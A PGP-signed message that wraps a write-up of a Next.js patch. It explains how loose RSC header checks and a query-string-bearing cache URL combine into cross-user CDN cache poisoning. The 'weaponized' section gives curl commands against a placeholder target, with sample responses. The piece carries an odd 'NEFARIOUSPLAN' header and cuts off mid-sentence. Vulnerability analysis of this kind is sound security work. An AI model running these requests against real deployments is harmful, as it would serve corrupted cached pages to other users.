-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## Five call sites, three definitions\n\nThe new file in the patch is `packages/next/src/server/lib/is-rsc-request.ts`. Its entire body is nine lines, docblock included:\n\n```ts\n/**\n * Normalizes the raw RSC header value. Only the literal string \"1\" is treated\n * as a valid RSC request marker; malformed or repeated values are ignored.\n */\nexport function isRSCRequestHeader(\n value: string | string[] | null | undefined\n): boolean {\n return value === '1'\n}\n```\n\nThe file did not exist before commit `0dd94836a8`. The predicate it expresses had been inlined at five call sites in the Next.js codebase, with three distinct strictness levels:\n\n```ts\n// packages/next/src/server/base-server.ts\n} else if (req.headers[RSC_HEADER] === '1') {\n addRequestMeta(req, 'isRSCRequest', true)\n}\n\n// packages/next/src/server/lib/router-utils/resolve-routes.ts\nif (\n req.headers[RSC_HEADER] === '1' &&\n (!parsedDestination.origin || isAllowedOrigin)\n) { /* set rewrite headers */ }\n\n// packages/next/src/server/web/adapter.ts (edge runtime)\nconst isRSCRequest = requestHeaders.get(RSC_HEADER) === '1'\n\n// packages/next/src/build/templates/app-page.ts\nconst isRSCRequest =\n getRequestMeta(req, 'isRSCRequest') ?? Boolean(req.headers[RSC_HEADER])\n\n// packages/next/src/server/app-render/app-render.tsx\nconst isRSCRequest = headers[RSC_HEADER] !== undefined\n```\n\nThree said `=== '1'`. One said `Boolean(...)`, which accepts any truthy header value, including `'text/x-component'`, `'0'`, `' '`, and the literal string `'foo'`. One said `!== undefined`, which accepts the empty string and any present value at all. The two loose checks were the ones at the rendering and routing decision sites. The three strict checks were at the early request-classification sites.\n\n## The strict check existed. It only spoke on yes.\n\nThe strict check in `base-server.ts` runs first in the request lifecycle. It writes a metadata flag when, and only when, the header equals `'1'`:\n\n```ts\n} else if (req.headers[RSC_HEADER] === '1') {\n addRequestMeta(req, 'isRSCRequest', true)\n}\n```\n\nThere is no else branch. When the header is `'text/x-component'`, the check does not match, no metadata is written, and the request reaches the later decision sites with `getRequestMeta(req, 'isRSCRequest')` returning `undefined`. The later site in `app-page.ts` is structured as a fallback:\n\n```ts\nconst isRSCRequest =\n getRequestMeta(req, 'isRSCRequest') ?? Boolean(req.headers[RSC_HEADER])\n```\n\nThe nullish coalescing operator interprets the strict check's silence as undecided. The right-hand side evaluates. `Boolean('text/x-component')` is `true`. The renderer enters the RSC code path.\n\nThe five sites looked independent. They were chained. The early site set the flag; the later sites either inherited it or rolled their own. Where the later site rolled its own and was looser, the early site's strictness was invisible to it. The strictest check in the codebase provided no defensive value against the loosest check, because the loose check ran later and answered the question for itself when the strict check stayed silent.\n\n## And the URL the adapter received had `?nxtPtenant=tenant-x` on it\n\nHeader confusion is half of the patch. The other half is a different commit, `af0e96ba23`, fixing a different file. After the request enters the RSC code path, the response is generated and handed to the deployment adapter via the `onCacheEntry` callback. The commit message names the deployment adapter's contract plainly:\n\n> In a deployed environment, `onCacheEntryV2` determines whether a postponed response is HTML-origin or RSC-origin by checking whether `meta.url` ends with `.rsc`.\n\n`onCacheEntryV2` is Vercel-side code that runs outside the Next.js process. The contract between Next.js and the adapter is unwritten: Next.js will pass you a URL whose suffix tells you which content-type to set. Pre-patch, the URL Next.js passed was:\n\n```ts\nconst finished = await onCacheEntry(cacheEntry, {\n url: getRequestMeta(req, 'initURL') ?? req.url,\n})\n```\n\n`initURL` is the full URL recorded when the request entered, query string included. For a dynamic root-param RSC request, that URL was `/[tenant]/samples.rsc?nxtPtenant=tenant-x`. The string contains `.rsc`. It does not end with `.rsc`. It ends with `=tenant-x`. The adapter's `endsWith('.rsc')` evaluated false. The adapter set the content-type to `text/html`. The binary Flight payload was written to the wire under that content-type, and a CDN keying on the URL plus pathname cached it.\n\nThe post-patch line strips the query before passing:\n\n```ts\nconst rawCacheEntryUrl = getRequestMeta(req, 'initURL') ?? req.url\nconst cacheEntryUrl = rawCacheEntryUrl\n ? (parseUrl(rawCacheEntryUrl)?.pathname ?? rawCacheEntryUrl)\n : undefined\n\nconst finished = await onCacheEntry(cacheEntry, { url: cacheEntryUrl })\n```\n\nThe `?nxtPtenant=...` segment is the routing convention Next.js uses to thread root-param tenants. It is a query string the framework's own client appends. The framework's own URL convention defeated the framework's own content-type decision. The fix moves the canonicalization to the boundary; the adapter sees a pathname now, and `endsWith('.rsc')` works the way the contract assumed it always did.\n\n## The chain that gets weaponized\n\nBug 1 alone breaks legitimate RSC traffic on dynamic routes with query strings. The mis-classification happens regardless of who is asking. Bug 2 alone lets an attacker enter the RSC code path on any URL with any non-empty header that is not the literal string `'1'`. The combination is the cross-user attack.\n\n```bash\n# Attacker, on a Next.js <= 16.2.4 deployment with App Router caching:\ncurl -i \\\n -H 'RSC: text/x-component' \\\n -H 'Next-Router-Prefetch: 1' \\\n 'https://target.example/dashboard?attack=1'\n\n# HTTP/1.1 200 OK\n# Content-Type: text/html; charset=utf-8\n# Cache-Control: s-maxage=300, stale-while-revalidate\n#\n# 0:[\"$\",\"html\",null,{\"children\":[...]}]\n# 1:I[\"app/dashboard/page\",[...],\"default\"]\n```\n\nThe header value `'text/x-component'` is truthy. `app-page.ts`'s `Boolean(...)` accepts it. The renderer enters the RSC code path. The URL passed to the adapter is `/dashboard?attack=1`. The adapter's `endsWith('.rsc')` evaluates false, the URL has no `.rsc` suffix in this scenario at all. The adapter sets content-type to `text/html`. The CDN caches the response under the URL key, with content-type `text/html`, marked cacheable by the `s-maxage` directive the framework sets on cached App Router pages.\n\n```bash\n# Any subsequent visitor, no special headers:\ncurl -i 'https://target.example/dashboard?attack=1'\n\n# HTTP/1.1 200 OK\n# Content-Type: text/html; charset=utf-8\n# Age: 42\n#\n# 0:[\"$\",\"html\",null,{\"children\":[...]}]\n```\n\nThe body is React Flight framing. The browser parses it as HTML. The Flight stream encodes server-component output and the metadata the framework injects. Any literal `